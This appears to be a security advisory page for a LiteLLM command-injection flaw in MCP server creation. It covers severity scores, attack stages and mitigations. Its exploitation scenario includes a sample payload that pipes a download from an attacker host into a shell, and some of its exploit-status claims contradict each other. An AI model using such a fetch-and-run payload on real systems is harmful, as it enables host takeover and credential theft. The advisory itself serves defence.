CVE-2026-30623: LiteLLM RCE — CRITICAL

CISO Take

LiteLLM's MCP server creation feature lets a user submit a JSON configuration with arbitrary 'command' and 'args' fields, which the proxy then executes on the host with zero validation — a textbook CWE-77 OS command injection rated CVSS 9.8 (network-reachable, no privileges, no user interaction required). Because LiteLLM commonly runs as the central LLM gateway in front of multiple model providers and agent tool integrations, a single compromised instance can expose every downstream API key, model endpoint, and connected service it brokers. There's no confirmed CISA KEV listing, no public EPSS score, and no known public exploit or Nuclei template yet, but the flaw requires no authentication-bypass trickery — just posting a malicious MCP config — and ox.security has already flagged it as part of a broader pattern of RCE vulnerabilities across MCP implementations in the AI ecosystem. Patch to the fixed LiteLLM release immediately, and until then disable or tightly restrict who can create MCP servers; in production, run LiteLLM in a locked-down container with a minimal filesystem and egress controls so a command injection can't escalate to full host or cloud-credential compromise. Monitor LiteLLM process logs for unexpected child processes spawned from the MCP server creation endpoint as a detection signal.

Sources: NVD ox.security docs.litellm.ai ATLAS

What is the risk?

Critical. CVSS 9.8 with AV:N/AC:L/PR:N/UI:N means any network-reachable caller of the MCP server creation endpoint can trigger full command execution — no social engineering and no chained bugs required. Exploitability is trivial from a technical-skill standpoint (CWE-77, no AI/ML expertise needed), though the absence of an EPSS score, CISA KEV listing, or public PoC/Nuclei template currently lowers the probability of imminent mass exploitation. Given LiteLLM's role as a central LLM gateway, the blast radius of a single successful exploit is high — RCE at the proxy level can expose every model API key and downstream integration it manages.

How does the attack unfold?

Initial Access

Attacker reaches LiteLLM's MCP server creation feature and submits a JSON config with a malicious command/args pair.

AML.T0053

Command Injection

LiteLLM executes the attacker-supplied command on the host without validation, per CWE-77.

AML.T0050

Configuration Persistence

The malicious MCP server config can persist, re-triggering command execution on reload or reuse.

AML.T0081

Impact

Attacker achieves RCE with LiteLLM's process privileges, enabling credential theft, lateral movement, or full host compromise.

Initial Access

Attacker reaches LiteLLM's MCP server creation feature and submits a JSON config with a malicious command/args pair.

AML.T0053

Command Injection

LiteLLM executes the attacker-supplied command on the host without validation, per CWE-77.

AML.T0050

Configuration Persistence

The malicious MCP server config can persist, re-triggering command execution on reload or reuse.

AML.T0081

Impact

Attacker achieves RCE with LiteLLM's process privileges, enabling credential theft, lateral movement, or full host compromise.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
LiteLLM	pip	—	No patch
57.6K OpenSSF 5.8 6 dependents Pushed today 48% patched ~49d to patch Full package profile →
n/a	—	—	No patch

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

5.0%

chance of exploitation in 30 days

Higher than 92% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Possible

Exploitation: LOW

Sophistication

Trivial

Exploitation Confidence

low

○ Nuclei detection template available

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

1 step

1) Patch LiteLLM to the version that fixes this MCP stdio command injection (per docs.litellm.ai's advisory) as soon as it's validated in a test environment. 2) Until patched, disable self-service MCP server creation or restrict it to trusted admins only — never expose the raw command/args JSON fields to end users. 3) Run LiteLLM under a least-privilege OS account, in a container with a read-only filesystem and no unnecessary binaries, so even a successful injection has limited post-exploitation value. 4) Add egress filtering/network segmentation around the LiteLLM host to limit lateral movement if compromised. 5) Detection: alert on unexpected child processes spawned by the LiteLLM process, and audit logs of the MCP server creation endpoint for anomalous command/args payloads (shell metacharacters, reverse-shell patterns, curl|bash chains).

What does CISA's SSVC say?

Decision Track*

Exploitation none

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Plugin Agent Inference AML.T0010.005 - AI Agent Tool AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0081 - Modify AI Agent Configuration

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

NIST AI RMF

MEASURE 2.7 - AI system security and resilience are evaluated and documented

OWASP LLM Top 10

LLM06 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-30623?

LiteLLM's MCP server creation feature lets a user submit a JSON configuration with arbitrary 'command' and 'args' fields, which the proxy then executes on the host with zero validation — a textbook CWE-77 OS command injection rated CVSS 9.8 (network-reachable, no privileges, no user interaction required). Because LiteLLM commonly runs as the central LLM gateway in front of multiple model providers and agent tool integrations, a single compromised instance can expose every downstream API key, model endpoint, and connected service it brokers. There's no confirmed CISA KEV listing, no public EPSS score, and no known public exploit or Nuclei template yet, but the flaw requires no authentication-bypass trickery — just posting a malicious MCP config — and ox.security has already flagged it as part of a broader pattern of RCE vulnerabilities across MCP implementations in the AI ecosystem. Patch to the fixed LiteLLM release immediately, and until then disable or tightly restrict who can create MCP servers; in production, run LiteLLM in a locked-down container with a minimal filesystem and egress controls so a command injection can't escalate to full host or cloud-credential compromise. Monitor LiteLLM process logs for unexpected child processes spawned from the MCP server creation endpoint as a detection signal.

Is CVE-2026-30623 actively exploited?

No confirmed active exploitation of CVE-2026-30623 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-30623?

1) Patch LiteLLM to the version that fixes this MCP stdio command injection (per docs.litellm.ai's advisory) as soon as it's validated in a test environment. 2) Until patched, disable self-service MCP server creation or restrict it to trusted admins only — never expose the raw command/args JSON fields to end users. 3) Run LiteLLM under a least-privilege OS account, in a container with a read-only filesystem and no unnecessary binaries, so even a successful injection has limited post-exploitation value. 4) Add egress filtering/network segmentation around the LiteLLM host to limit lateral movement if compromised. 5) Detection: alert on unexpected child processes spawned by the LiteLLM process, and audit logs of the MCP server creation endpoint for anomalous command/args payloads (shell metacharacters, reverse-shell patterns, curl|bash chains).

What systems are affected by CVE-2026-30623?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, model serving, MCP tool integrations.

What is the CVSS score for CVE-2026-30623?

CVE-2026-30623 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 5.00%.

What is the AI security impact?

Affected AI Architectures

agent frameworksmodel servingMCP tool integrations

MITRE ATLAS Techniques

AML.T0010.005 AI Agent Tool

AML.T0050 Command and Scripting Interpreter

AML.T0053 AI Agent Tool Invocation

AML.T0081 Modify AI Agent Configuration

Compliance Controls Affected

EU AI Act: Article 15

NIST AI RMF: MEASURE 2.7

OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

LiteLLM 1.18.10 contains a remote code execution vulnerability in its MCP server creation functionality. The application allows users to add MCP servers via a JSON configuration specifying arbitrary command and args values. LiteLLM executes these values on the host without validation, enabling attackers to run arbitrary operating system commands. Successful exploitation may result in remote code execution with the privileges of the LiteLLM process.

Exploitation Scenario

An attacker with access to LiteLLM's MCP server management interface (e.g., a low-privileged user in a multi-tenant AI platform, or an external attacker reaching an exposed admin endpoint) submits a JSON configuration to add a new MCP server, setting the 'command' field to '/bin/sh' with args like '-c "curl attacker.com/payload | sh"'. LiteLLM parses the config and spawns the process on the host without validating or sandboxing it, executing the attacker's command with the privileges of the LiteLLM service account. From there the attacker can exfiltrate the API keys and credentials LiteLLM holds for every connected LLM provider, pivot to other services reachable from the host, or establish persistence — all without ever touching a model prompt or triggering any AI-specific safety control.

Weaknesses (CWE)

CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')

CWE-77 — Improper Neutralization of Special Elements used in a Command ('Command Injection'): The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Implementation] If possible, ensure that all external commands called from the program are statically created.

Source: MITRE CWE corpus.